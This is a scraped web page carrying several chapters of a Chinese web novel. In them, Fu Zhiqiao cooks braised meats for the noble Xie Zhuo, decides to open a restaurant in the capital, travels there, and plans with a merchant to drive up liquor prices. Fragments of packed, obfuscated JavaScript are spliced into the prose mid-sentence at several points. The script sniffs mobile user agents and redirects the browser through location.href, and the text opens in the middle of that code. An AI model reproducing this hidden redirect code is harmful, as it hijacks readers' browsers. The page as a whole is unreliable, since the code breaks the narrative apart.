l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581706|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来后就离开了厨房。 傅知乔走后,有厨娘进来看着那一锅黑乎乎的汤,“这、这能吃吗?” “能!”小月丝毫不怀疑,自家姑娘要做的东西就没有不好吃的。 锅里咕嘟咕嘟冒着泡,深棕色酱汁已经浸透了肉块,散发出浓烈的酱香味。 一夜过去,卤牛肉出锅。 牛肉鲜味浓厚,色泽油润光亮,酱好的牛肉切片装盘,筋肉互相纵横交错,层次分明,傅知乔吃了两片解馋,给自己和余柔岚留了一盘。 剩下的卤牛肉全部装进食盒里,带给谢卓。 明伯给她开门:“傅姑娘,世子爷已经在等您了。” 银杏听到后瞪着大眼睛,说话都结巴了:“姑、姑娘,我们不是来赵谢公子的吗?怎么刚才那人说世子?” “嗯,谢公子就是世子。” 以往傅知乔过来都是王骞信亲自去接的,今天是她第一次带着银杏上门,“世子”这个称呼快要把银杏吓傻了。 银杏被吓的脸色一变,完全处于蒙圈状态,好半天才回过神。眼看傅知乔就要走到前头去了,她忙不迭的迈步跟了上去,世子爷的院子她可不敢自己转悠,还是跟在姑娘身边为好。 傅知乔告诫她:“他的身份你心里有数就行了,只要他没明说自己的身份,你就还是跟往常一样称呼他谢公子。” 银杏点点头,表示自己知道了。 书房银杏进不去,她把食盒交到了傅知乔手里。 傅知乔进来时,谢卓还在处理公务。他微微垂眸看着文书,傍晚的光线印在他脸上,将他的侧脸轮廓勾勒的如刀刻般精致。 任由女子的目光肆意在自己脸上打量,谢卓眼底深处荡起一丝笑意。他看向傅知乔时,那双眼睛好似蕴含着漫天星辰,让人深陷其中。 再看看傅知乔手上的食盒,他脸上虽没有表现出什么特别的情绪,但心里却是美滋滋的。 傅知乔打开食盒把牛肉拿出来,强烈的香气把谢卓肚子里的馋虫都勾出来了,他带着几分诧异的问傅知乔:“是牛肉?” 谢卓出身高贵,自然是吃过牛肉的,但这种黑乎乎的他还是第一次见。 “快尝尝。” 谢卓夹了一筷子,牛筋劲道,牛肉软烂,两者同时在嘴里融化,脂香丰腴,越嚼越香,每一口都是极致的享受! “好吃吗?” “好吃,宫里的御厨都做不出这么好吃的味道!”谢卓从没吃过这么好吃的牛肉,只吃一片怎么能过瘾,没多一会儿,一大盘卤牛肉便被他一扫而光。 王骞信进来时,空气中残留的牛肉的肉香味直往他的鼻孔里钻,馋得不行,他眼巴巴的看着食盒,傅知乔觉得好笑:“里面还有一碟是给你的。” 王骞信瞪大了眼睛,有几分不可置信:“谢谢傅姑娘!” 话刚落音,他顿感芒刺在背。 谢卓瞥了他一眼,眼神像是夹着刀子。 王骞信立马绷紧了身体护住食盒,偷偷咽了口水:“世子爷,这是傅姑娘给我的!” 我说什么了吗?瞧你那没出息的样! 谢卓别过头去不再看王骞信那副狗腿的样子。 64. 开酒楼 从那天后,傅知乔又给谢卓卤了几回牛肉,冰窖里的牛肉也吃了大半。 王骞信跟着谢卓蹭到了不少美食,他觉得傅知乔太好了!太适合自家世子爷了! 傅姑娘人美心善,会做生意也会做美食,对自家世子爷也是贴心又周到,简直就是一个完美的人! 不愧是世子爷,看人的眼光实在是高! 王骞信尝过之后完卤牛肉后惊为天人,之后每次看着傅知乔提着食盒过来,他的眼睛就黏在上面挪不开了。 傅知乔看到他喜欢自己做的食物也挺高兴的,牛肉味道虽好但不常有,后来她又做了卤猪肉和卤大肠送过来。 “傅姑娘今天做什么好吃的了,老远都闻到味道了。” 王骞信已经闻出了卤味的香味,但看着盘子里那一节一节的东西,他认不出是什么? “这叫肥肠,就是猪大肠!”银杏见他一脸迷茫,补充道。 什么?装屎的猪大肠? 那玩意臭烘烘的能吃吗?王骞信看着肥肠愣了愣,有点下不去这个口。 银杏继续激他:“能不能吃,你试试不就知道了。” 傅姑娘出手,哪怕是臭东西也能做的好吃。做好心理建设,他夹了一筷子闭着眼睛送进了嘴里,咀嚼两下,王骞信兴奋地睁开双眼,“一点臭味都没有!” 肥肠处理的很干净,没有什么异味。 卤汁已经完全渗透到了肥肠里,咬上一口就有汁水迸出来,软糯又有嚼劲,滑嫩的肥肠在嘴里在嘴巴里面蹦来蹦去,越嚼越香! 王骞信嘴巴被塞满说不出话,只伸出大拇指,表示对肥肠的味道很满意。 谢卓已经换好常服走了出来,王骞信顾不上嘴里吃着东西,连忙站起来拱手行礼。 谢卓只吃了卤猪肉,卤肥肠闻着是很香,但他实在是下不去嘴。 结果就是一大盘肥肠全进了王骞信的肚子,他还边吃边感慨,要不是有军务在身,他真想去买些太白酒来就着卤肉肥肠一起吃,边喝酒边吃肉那才叫痛快。 可喝酒容易误事,他身上的练兵任务繁重,没有时间喝酒不也敢喝酒。 他可太怀念太白酒的滋味了! “只可惜,回了京城就吃不到这么好吃的卤肉了。” “那有何难,我做一些给你们带在路上吃。” 现在天气渐渐转凉,卤好的肉放个十来天不成问题。 “真的吗?多谢傅姑娘!” 过了一会,王骞信又惆怅:“要是在京城也能吃到就好了。” 喂喂喂!做人不要得寸进尺!银杏在一旁暗自翻了个白眼。 “京城好吃的那么多,到时候你就不会惦记我的卤肉了。” “怎么会,傅姑娘的卤肉是天下第一好吃。” 王骞信一脸真诚,他是真心这么觉得的,可被三十多岁的,一脸胡茬的大汉拍马屁,还真让傅知乔有点不适。 不过,王骞信的话给了傅知乔灵感,边喝酒边吃肉,太白酒和卤肉是绝配啊! 或许她的开酒楼计划应该要提上日程了,不行,她得回去合计合计自己的财产,争取早日把酒楼开起来。 酒楼不开在繁华地段就赚不到什么钱。 青州是贸易大城,几条繁华的街上都已经开了各种各样的酒楼,蓬莱居、百味楼等几家酒楼跟她的关系都不错,她的太白酒在他们酒楼里卖的也挺好的。 她要是在青州开酒楼,这几家酒楼等于多了一个有力的竞争对手,傅知乔在某种程度上也与他们成了对立的关系,到时候难免会影响到太白酒的合作。 徐尚强和王掌柜两人在青州都有一定的根基,在商言商,到时候他们联合起来压制自己就不好了。 但是,酒楼是一定要开的,位置她还要好好斟酌一番。 谢卓知道她的想法后,极力推荐她把酒楼开到京城去。 谢卓是有私心的,一来京城是他的势力范围,有他护着没有人敢打她和酒楼的主意,二来他可以一解相思之苦,不用两地分隔。 谢卓满脸期待,还跟她说起了太白酒在京城畅销的消息,连国公府大公子都要托关系才能买到太白酒。 太白酒在京城成了紧俏货,这是傅知乔没有想到的。 彭高飞虽然每隔两三月就会来拉一批酒,看似量大,其实到了京城也不剩多少了。酒坛易碎运送起来费心费力,商队南来北往,翻山越岭,运送路上难免会损失掉一些太白酒,能在路上卖掉他们就会卖,所以到达京城时存货也没多少了。 傅知乔脑海里一道灵光闪过,既然太白酒已经在京城打好基础,她是不是可以过去添砖加瓦? “知乔,在京城开酒楼真的是个不错的选择。”谢卓压低声音,用低沉的嗓音在傅知乔耳边说:“我会帮你的!” 傅知乔狐疑的看了他一眼,这家伙怎么这么会蛊惑人。 她认真的想了想,随后笑着答道:“我会考虑的。” 听见她这话,谢卓瞬间放下心来,傅知乔从来不是信口开河的人,她既然说了会考虑代表着这件事情她有七分把握会去做。 傅知乔一早就有开酒楼的想法,可她一无背景二无人脉,光凭自己的能力想在京城立足怕是异想天开。 当初她开太白酒铺的时候,借了蓬莱居的力才勉强在城里站稳脚跟,在青州立足已是不易,更别说在满地都是权贵的京城开酒楼了。 钱她是有,可在京城最看重的是什么? 是权势!是地位! 天子脚下,在大街上随便扔块石头说不定都能砸到哪个官员家的亲眷。如果没有贵人引荐,她一个微不足道的商户身份是在京城寸步难行,等她有能力独自开酒楼不知道还要等多少年,费多少周折才能实现。 想到此处,傅知乔认真琢磨着谢卓的话。 她若想在京城一展拳脚,有了谢卓帮忙还真能省不少的事,不看僧面看佛面,有了端亲王府这层保护伞,一般的宵小之辈是不敢来招惹她的。 况且,她也不需要谢卓为她鞍前马后,只要在必要时候借一借他的名头就好了。 傅知乔的行动力极强,一回到家就开始盘账,写计划书了。 她是卖酒发家的,开是酒楼最好也能与酒相关。 不仅如此,她还要把太白酒和酒楼紧密联合在一起,太白酒在京城已经有了销量基础,这波流量不蹭白不蹭。 要在众多酒楼中占有一席之地,她的酒楼必须足够有特色,足够吸引人! 里面的美酒佳肴绝对是其他地方尝不到的才行! 铺子里目前的酒水有太白酒、青梅酒和醉诗仙。 做哪些菜会用到白酒呢?她依靠着脑海之中的记忆,飞快的写下菜单姜酒鸭、火焰醉虾、酒香兔丁、米酒蒸鸡、板栗炖鸡…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627397|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古往今来那么多美食,还怕征服不了这群古人的胃? 这一晚,傅知乔只睡了两三个时辰。 * 九月末,练兵也到了尾声,谢卓很快就要回京复命。 明伯在替谢卓收拾行装。 当天的晚饭吃得都有点沉闷,两人的情绪都不太高,这一个月的相处让他们的关系更为紧密,而离别时刻马上就要到来了。 “你早些来京城,我带你去看枫叶。” “嗯。”傅知乔闷闷地应了一声,靠在他怀里的人默默垂下了脑袋。 谢卓轻抚她柔软的面颊,漆黑的瞳孔中涌起波澜。他这次回京城,先是要绕路把新兵带到益州交给罗振海将军,再回到京城跟皇上复命。 此次大魏二十多万大军北上抵御北疆蛮夷,其中十万大军在益州点兵,他们作为先发部队赶往凉州作战。 谢卓被安排在第二批军队里,他负责带着粮草支援。具体的出兵时间他不能透露给傅知乔,只是隐晦的提醒她,自己还会在京城逗留一段时间。 你早些来,我在京城等你! 马不停蹄赶了一整天路,天色彻底暗了下来,终于可以歇息会了。 到了饭点就地扎营,王骞信取出四张白面饼子,先是放在火上烤一烤,拿刀在饼子侧边割一条口子放在一边备用。 接着他把傅知乔准备好的卤肉拿出来切片,夹在饼子里,再打开另个罐子,舀出一勺花椒油涂抹在肉上。 一个简易版的肉夹馍就做好了,这种话吃法是傅姑娘教他的。 花椒油也是傅姑娘秘制的,临走时,傅姑娘做了卤肉和花椒油让他们带着走。 傅姑娘说了,这个花椒油是用花椒和茱萸做出来的,香辣可口,吃饭、喝粥加一勺更加下饭,最重要的是它放两三月都不会坏。 傅知乔很想念辣椒的味道,但大魏目前还没有引进辣椒,她只好用花椒和茱萸中提炼出一点辛辣味。 王骞信一共做了四个肉夹馍,谢卓两个他两个,不同的是他分给谢卓的那两个肉夹馍里明显肉更多。 谢卓坐在将军帐子里专心吃肉夹馍。 王骞信则拿着自己的两个肉夹馍走到火堆旁,边烤火边吃。 其他的将领看王骞信手里夹着肉的饼子,再看看自己手里的干巴巴的饼,口中不断分泌的口水,厚着脸皮过来讨要一口。 “王护卫,你吃的是什么?可否分我一口?” 分是不可能分的,这是傅姑娘辛辛苦苦为他做的,不,是为世子做的,他好不容易蹭到几口才舍不得给别人吃呢! 王骞信眼珠子转了转:“这叫肉夹馍,是将军赏我的吃食。” 此次谢卓来青州是皇帝亲自指派的,他世子爷的身份在骁骑军中已不是秘密。 王骞信在骁骑军中虽没有职位,但他身为谢卓的心腹,主要负责他的安全,其他的将领们也会尊称他一句王护卫。 那将领一听是是谢将军的吃食后就歇了心思,再馋他们也不敢去跟谢将军要吃的。 王骞信大口吃着肉夹馍,肥瘦相间的卤猪肉裹满花椒油,肉里的油脂全被面饼子吸收了,咬上一口肥而不腻,痛快极了! 看着王骞信一脸享受的吃着肉夹馍,其他人只能愤愤咬一口自己的饼,不就是白面饼里面加块肉嘛!有那么好吃吗?至于摆出那么夸张的表情吗? 哼! 65. 去京城 听雪堂里。 傅知乔找到余柔岚:“娘,我要去京城。” “什么?”余柔岚十分诧异,“去京城干什么?” “娘,我想在京城开一家酒楼。” “阿乔,你想清楚了吗?开一个酒楼不是那么容易的,现在酒铺的生意也很好……”余柔岚思绪万千,怎么突然要去京城开酒楼了?在青州不是好好的么?去了京城会不会被别人欺负? 余柔岚没有那么大的野心,在青州这段时间挣的钱已经够她们娘俩花一辈子了。 傅知乔打断她:“娘,我要把太白酒卖向全国,京城是一定要去的。” 余柔岚微怔,看着傅知乔亮晶晶的眼睛,她心里不免有所触动,“你都想好了?去了京城一切都要从头开始。” “想好了!我要让太白酒的名号响彻整个大魏!”少女弯弯的眉眼,直白的诉说着自己的野心,眼里闪烁着自信的光芒。 母女俩久久对视,最后还是还是余柔岚败下阵来。 “你要去娘也没有理由拦你。”余柔岚喟叹一声,或许是自己低估了女儿的能耐,她的女儿时刻准备着要跳出这方天地,冲到云霄之上。 孩子终究会有长大的一天,现在已经到了她不得不放手的时候。 “娘,您就放心吧!我是去京城做生意的,又不是去了就不回来。”傅知乔抱着余柔岚的胳膊撒娇。 “行,都依你。” 过了余柔岚这一关后,傅知乔很快安排起了手头上的事情。 德福作为得力助手肯定是跟着她一起去京城的,等京城的酒楼开起来,德福就会留在京城当掌柜。 德福跟她离开后,太白酒铺里的事务就由宋大力代理,如果他表现好的话,青州的太白酒铺的掌柜之位不出意外就是他了。 宋大力受宠若惊,没想到东家这么看重他,这么好的机会他绝对不能错过,他当即发誓表忠心! 程业玄手头的事则交由王奇负责,其他人职责不变,定期书信给她汇报消息,账册还是余柔岚负责。 一连串的命令下达下去,被点到名的人都在交接着自己手上的事物,好把时间空出来跟随傅知乔上京。 离去京城的日子越来越近,余柔岚心里很不是滋味,亲自为傅知乔收拾行李。 京城比青州更冷,余柔岚打开柜子把傅知乔的厚袄子、皮毛斗篷统统都塞进去,光是衣服就装了两个大箱子。 “娘,衣服不用带那么多,京城又不是买不到。” 话虽如此,但余柔岚还是不放心。 女儿从小是在自己眼皮子底下长大,她长这么大还是第一次离开自己身边。 余柔岚一想到她要离开自己去京城,心里有太多的舍不得,一颗心里空落落的,再不让她收拾东西转移下注意力,她怕是要躲在一旁偷偷抹眼泪了。 傅知乔想想就随她去了,路上多带一两个箱子也不是多大的事。 “冷了就多穿点,饿了就早些吃饭,千万不能饿着自己,听到没?”余柔岚眼里满是对傅知乔的担忧和不舍,说着,她将一摞银票塞到傅知乔的手中。 “娘,我不缺钱的。”余柔岚突然塞钱的举动把傅知乔给弄愣了。她此行去京城是选地址开酒楼的,铺子赚的钱全被她存进了钱庄,等到了京城取出来用就行。 余柔岚可不管那么多,她执意要把钱塞给傅知乔,这一千两银子是她的私房钱,“你一个人去京城娘真的放不下心来,京城不比家里,很多地方都需要钱,手里没有几个钱可不行。” 余柔岚已经脑补出傅知乔流落街头的凄惨模样了。 她知道傅知乔聪明又机灵,可再怎么聪明能干她也只是一个小姑娘,若是遇上点什么事怎么办? 她这个当娘的难免放心不下,“出门在外一定要多长个心眼,遇到事情要忍让几分,不可随着自己的性子来,路边的乞儿也不一定都是真的,你只需顾着自己,切莫上当受骗了!” “好!” 傅知乔吸了吸鼻子,声音有些闷闷的,她理解余柔岚的心思,当娘的总是想把最好的东西都给自己的孩子。 余柔岚还想着让她多带几个丫鬟在路上伺候着,被傅知乔以路途遥远,人越多就越累赘为理由拒绝了。 衣食有银杏和崔嬷嬷照顾,住行有德福跑腿,程业玄和文山两人会作为护卫随她一起进京。 这一晚,傅知乔是和余柔岚一起睡的。 余柔岚嘴里叨叨着,想把自己为人处世的经验全部教给女儿,傅知乔将脸埋在被子里,安静的听着。 * 安排好青州一切,傅知乔也即将踏上去往京城的路。 余柔岚想着女儿要走,愁得一晚上没合眼,隔天起来她的眼睛都是肿的,不用想,肯定是后半夜自己偷偷哭了。 文江驾着马车已经在傅府门口等着了,下人们把傅知乔的行李搬上马车。 余柔岚依依不舍的跟女儿告别:“阿乔,一定要好好照顾自己,随时给娘写信啊!” 马车出发了,傅知乔掀起帘子探出头,看见余柔岚站在家门口朝着马车摆手,距离越来越远,余柔岚在她眼中渐渐成了一个小黑点消失在人群中,傅知乔才把头收了回来,心头涌上对离家的不舍。 一直到马车出城,她心头的情绪才慢慢消散。 越往北走,天气越冷气候越干。 马车内部很宽敞,地上还铺了层厚厚的毯子,放了一张卧榻供她休息,侧边的抽屉里放着茶水、点心等吃食。除开马车的颠簸让她感觉骨头都要散开了这点不好之外,一路上看看山水倒也不觉得无聊。 随着渐渐靠近京城,地势也变得平坦起来,官道上能看到不少的行人与马车。 傅知乔在马车里没由来的感到憋闷,“还要多久?”她忍不住抬手敲了敲车壁,语气有着一丝焦燥。 文江:“回姑娘的话,此处距离京城还有百里不到,估么着明日酉时就可到达了。” 傅知乔点点头。 没过多久,乌云黑压压地下来,几道惊雷响起好像要将天炸开一样。 程业玄预感到不对,让众人加快速度赶路,他们现在距离京城还不算太远,必须要在天黑之前赶到下一个城镇,不然就有可能要露宿荒郊野岭。 程业玄和文江各自驾驶一辆马车,终于在暴雨来临之前找到一家客栈,一行人刚进客栈,大滴大滴的雨哗哗地打了下来。 小镇上的客栈条件本就简陋,她们达到客栈时已经没有什么好房间了,房间里只有一张床和一套桌椅,好在她们只在此停留一夜,也不好再多挑剔些什么了。 简单沐浴洗去了一身的尘土,银杏从马车里拿出之前准备好的褥子铺好床,伺候傅知乔睡下。 雨来得快去得也快,雨下到半夜就停了,一场暴雨让天气总算没有那么干燥了。 次日,天空泛起了鱼肚白,为了能在城门关闭之前赶到京城,她们一行人必须要早早起来赶路。 一路上快马加鞭,终于在太阳快下山之际赶到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701642|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了京城城门口。 夕阳余辉洒在楼阁飞檐之上,一缕残云随风飘来,给眼前这一片繁盛的景象增添了几分朦胧之感。 傅知乔掀起车帘,映入眼帘的是巍峨的城墙,城墙足足有四五层楼那么高,墙上青砖的夹缝中已经长出了不少青苔,哪怕历经了数百年的风雨浸蚀,这道城墙依然巍然耸立。 马车、牛车、骡车……赶着进城的人很多,拥挤在城门前略显混乱,尽管城门口的守卫加快了速度,等着进城的人还是在城门口排起一条长龙。 随着队伍缓缓推进,人们自觉的收了声音不再交头接耳。 傅知乔的两辆马车排在队伍中间也不起眼,守城的官兵检查完她们的路引,随即又检查了马车,确保没问题后便让她们进城了。 进了城,傅知乔不禁感叹,不愧是天子脚下。 京城的规模是青州的两三倍还不止,她以为青州的街道已经够宽敞了,但一与京城相比还是逊色不少。 京城是大魏最为繁华的所在,灰青色的地砖,整齐划一的楼阁建筑,大街上人来人往,马车络绎不绝,街道两旁店肆林立看得人眼花缭乱。 找到号称京城最豪华的悦来的客栈,要了三间上好的客房休息。 崔嬷嬷端来了饭食伺候傅知乔吃完,接着又吩咐店小二为准备好厢房和洗澡水,傅知乔洗了个热水澡,银杏替她擦干头发,一路舟车劳顿,终于在此刻得到了好好休息。 一夜无梦,第二天早上崔嬷嬷轻手轻脚端着早膳进来。 银杏轻轻揭开床幔一角,用眼神回答崔嬷嬷:姑娘还睡着呢! “姑娘?”崔嬷嬷走到床前。 “……” “姑娘,该起来用早膳了!”哪怕没有听到回应,崔嬷嬷依旧耐心地轻唤着。 傅知乔睡得正香,隐约听到崔嬷嬷叫自己起床,她闭着眼睛迷迷糊糊道:“嬷嬷,我还想睡。” 睡着,她翻了个身把锦被往上拽了拽遮住了半张脸,又继续睡了。 崔嬷嬷颇为无奈,带着为难的语气:“夫人说过的话,姑娘难道忘记了?” “崔嬷嬷~”语气似恼火又似撒娇。 “姑娘先起来吃早膳,吃完再到榻上眯会儿。”崔嬷嬷嘴角带着笑意,自打搬到青州来后,姑娘平时在府中都是一副气定神闲的模样,难得看到她这么孩子气的一幕。 禁不住崔嬷嬷的再三催促,傅知乔忍着困意坐直了身体。 身体起来了,但眼睛还是闭着的。 银杏捂嘴偷笑,上前侍奉她洗漱穿衣。 十月份的京城已经要穿稍厚些的袄裙了,刚从温暖的被窝里起来,皮肤骤然遇到冷气让她起了一层鸡皮疙瘩。 银杏绞了帕子想给她擦脸,傅知乔接过银杏递过来的帕子慢条斯理地擦拭着。 洗漱完,银杏细细给傅知乔脸上擦了一层润肤膏,她看了看傅知乔细润白皙的脸庞,心里感慨,同为女子的她照顾了姑娘这么久,每次看到姑娘的脸时还是不禁为之失神,姑娘的美貌真是上天的恩赐。 傅知乔换上一袭男装,询问道:“德福呢?”她们要在京城待一段时间,不能一直住在客栈里,必须要有自己的住宅才行。 德福今天的任务是去牙行租房子。 银杏:“德福已经在门外候着了。” “让他进来。” 德福在租房子这件事上已经很有经验了,傅知乔对他很放心,只叮嘱了一句:“我们初来乍到,行事务必要低调一些!” 66. 炒作酒价 崔嬷嬷和银杏留在客栈里看管行李,傅知乔带着程业玄去找彭高飞,来京城的路上她就规划好了行程,第一件事情就是调查太白酒在京城的销售状态。 彭高飞的商铺叫彭家酒肆。 “二位客官,想买什么?”小二热情的过来打招呼。 “有太白酒吗?”傅知乔打扮成男子模样,故意压低了声线说话。 小二打量她几眼,笑呵呵:“客官可真识货,太白酒全京城只有我们彭家酒肆有的卖,我们这昨儿个刚好来了一批新酒,客官您再晚点来就买不到了呢!” 傅知乔问:“是吗?太白酒当真如此紧俏?” “那还有假?”小二悄声跟傅知乔说:“客官我看您面生,是第一次来我们酒肆吧!生客要想在我们这买到太白酒可真不是件容易的事,您也是赶巧了,酒肆里正好到了一批酒,除开熟客们定下的还多出一些可以卖给您。” 傅知乔简直不知道说什么好,彭高飞把她的预售模式学了过来。 要买太白酒的人来彭家酒肆里登记名字并交上定金,统计好买酒的的数量,彭高飞心里就有数了,去青州拉货时就不会在路上把太白酒全卖了,而是会留一批酒回京城。 这样既能满足京城百姓的太白酒需求,也不会让自己在路上的负担过重。 彭高飞真的是个做生意的人物,或许,炒作酒价这件事可以跟他合作。 “你们彭老板可在?” “啊?客官找我们老板何事?”小二懵了,莫非是自己招待不周,这位顾客要跟老板告状? 傅知乔看出店小二的惊慌:“无事,我跟你们老板是旧识,你就说傅知乔找他。” 彭高飞作为老板,并不是每一次都会跟随商队一起出发的,除非有特别重要的生意才值得他亲自走一趟,平时他大多时候都留在京城处理事物。 小二半信半疑的回去禀报了。 彭高飞听到傅知乔的名字大感意外,跟小二确认了名字没错后连忙出来接待她,“傅老板到了京城怎么也不提前通知我一声,好让我有机会为你接风洗尘呐!” 傅知乔找他是有要事商量,简单寒暄一番后便进入了正题。 “彭老板可还记得,我教过你的太白酒防伪方法,三处防伪标签缺一不可,少一处都是假货。” 彭高飞点点头:“记得!”根据傅知乔的要求,后来他也把识别假酒的方法教给来买酒的客人了。 “我让你留的酒可有留?” 彭高飞迟疑了一下,“留是有留的,不过不多了。” 当初酒庄里出的前三批酒,傅知乔分了五百坛给彭高飞,并特地嘱咐他一定要好好留着。 一开始彭高飞也有好好听她的话,但是太白酒实在卖的很好,这批太白酒在库房放了半年后,随着来买太白酒的人慢慢变多,他慢慢的就忘记了傅知乔的叮嘱,忍不住把酒卖出去了。 陆陆续续卖了一百多坛,现在库房里只有三百多坛了。 傅知乔:…… 她该说些什么?她还能说些什么? 彭高飞从她的神情中察觉到不对劲,问:“怎么了傅老板?这些酒不能卖吗?” “不是不能卖,而是卖的时机不对!” 傅知乔知道他并没有把批次酒分开,简直痛心疾首:“我不是说过吗?每一批太白酒都有自己的编号,编号越小酒就越值钱,我让你留着的那批酒是第三批。” 前三批太白酒是最先酿好的也是窖藏最久的。 原本在青州卖十两银子的银子的太白酒,在京城能卖到二十两银子,这还只是普通批次,若是编号更小的前三批酒…… “这、这……”彭高飞反应过来了,自己把值钱的第三批编号的酒以普通价格卖出去了。 然而,更让他懊悔的事还在后面。 傅知乔又说,目前只有大魏二十三年的太白酒可炒一炒价格,因为这三批酒的窖藏时间超过一年,味道更香更醇,在这之后的日期就没那么值钱了,用日常价就能买到。 彭高飞是个心思活泛的人,听了傅知乔的话立即兴奋起来。 年份越久的太白酒价格格越贵,价格越高越是能体现出喝酒人的身份和地位,京城的权贵都是讲究气派的人,他们一定会愿意花高价买更好的酒的! 这样一来,编号在前的酒会引起百姓们争相购买,在满是达官贵人的京城,一坛酒甚至可以炒出上百两的价格! 最最重要的是,京城目前没有太白酒铺,百姓们想买太白酒要么去青州,要么通过彭家酒肆购买。 而彭高飞,他作为从青州把太白酒运倒京城的商队,手里有最先批次的酒,只要操作得当,足够他狠狠赚上一笔了。 难怪傅老板当初告诉自己要囤一批酒,原来打的是这个主意,反应过来的彭高飞一时间不知道该如何形容傅知乔了。 随即他后脊背冒起冷汗,从太白酒酿出之初就开始布局,这心性是一个年纪只有十五岁的女子该有的吗? 如此小的年纪却拥有这样聪明的头脑,此刻彭高飞只能庆幸自己是傅知乔是的合作伙伴,而不是她的对手。 * 傅知乔这次来京城,还带了一百坛特级太白酒,不过酒还在路上,再过一段时日才能送到。 她要把太白酒在京城打造成千金难买的现象。 炒作方法也很简单,首先就是要垄断太白酒的源头,放出少量的酒吸引百姓高价购买。 这一点傅知乔很容易做到,太白酒的生产源头就掌握在她手中,市面上有多少就还不是她说了算。 其次,要让来买酒的人意识到窖藏多年的老酒胜过新酒,让他们觉得此酒珍贵,营造出物以稀为贵的现象。 明明美酒就在眼前,却被人告知一年后才是它的最佳赏味期,这对爱酒人士来说无疑是巨大的折磨。 因此想喝到品质更高的太白酒,只有两种办法,一是花高价买,二是原价买回去自己窖藏个两三年再喝。 相信大部分人都没有等两三年的耐心。 这样一来太白酒的价格很容易就被炒起来了。 傅知乔当初并没有把前三批酒全攥在自己手里,她把第一批酒全部留在了自己手中,第二三批酒留了一部分放在酒铺里卖,其余的全部卖给了各大酒楼包括彭高飞的商队。 从分配上来说,她可以说是雨露均沾了! 我有你没有,你有他没有,既不能让特级太白酒到处都买得到,也不能让大家都买不到,这样才方便把价格抬上去。 当然了,当酒的价格炒的太高时,她会多放些酒到市面上控一控价格,不能让整个酒价崩盘。 在青州,她已经把太白酒窖藏越久越好喝这个观点种在百姓心里了,每个去到铺子里买酒的人,伙计们都会介绍太白酒是如何防伪的,是如何辨认日期的。 这样一来,百姓们来买酒时会自觉选日期靠前的。 青州的太白酒铺里已经隐隐有这种现象了。 在京城的酒楼开起来之前,彭家酒肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715495|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是她在京城最重要的销售点,眼下正好是宣传太白酒的好时机,她要让太白酒的名气传遍京城的每一个角落。 为了防止意外再次发生,傅知乔特别叮嘱了彭高飞,这批酒一定要在五年内卖出去。 她不管彭高飞以什么手法卖出去,只是告诫他不可过于贪心,不能为了把酒卖出好价钱而一直放在仓库里保存。 普通的仓库跟她精心建造的酒窖不同。 太白酒经过窖藏后味道更加醇香的前提是它的储存条件很好。 如果没有很好的储酒条件,酒液经过长时间的存放不但对酒质没有好处,反而会导致酒精挥发、口味变淡、香味变弱等问题。 彭高飞再三保证自己记住了,一次判断失误让他损失了这么多钱财,他现在不敢不听傅知乔的话。 为了确保万无一失,傅知乔还让彭高飞重新培训小二的接待话术,每当有人过来买太白酒时,小二就给他们推荐味道更好的老酒。 为了让他们看到直观的效果,傅知乔来到酒肆里当场演示。 正巧,彭家酒肆来了一个买酒的中年男人。 小二认出了来人,中年男人名叫岳昆,是个书肆老板,他不是第一次来买太白酒了。他偶然间喝过一次太白酒就爱上了,上次直接订了两坛,今天就是过来取酒的。 傅知乔本来就在给彭家酒肆的小二培训,正好有客人上门,她主动上前招呼,就当是在上实战课好了。 “客官来取太白酒?” 岳昆点点头。 傅知乔热情推荐:“客官,我们酒肆来了一批味道更好的特级太白酒,您感不感兴趣?” “哦,怎么个更好法?”岳昆被引起了兴趣。 “自然是口感更好,不仅不辣喉还后劲十足,下咽后会带来一股回甘,哪怕是只喝小一口也会满嘴酒香,对于酒量一般的人来说,两杯酒下肚就能不省人事!” “真的?”岳昆被傅知乔的描述吸引了。 太白酒在他眼里,已经是酒中的极品,现在有更好的特级太白酒,他自然是要尝试一二的。 “真的,不信的话我拿一坛给您看看?” 傅知乔给小二使了个眼神,小二看到后转头望向彭高飞,得到自家老板的首肯后他立马捧出了一坛老酒。 傅知乔指着酒坛上的编号跟岳昆说:“客官您来瞧瞧,这个编号代表着这坛酒是大魏二十三年所酿造,窖藏了一年之久,如今这酒的风味比普通的太白酒更足呢!” 中年男人点头,太白酒的防伪知识他第一次买酒时就听说过了。 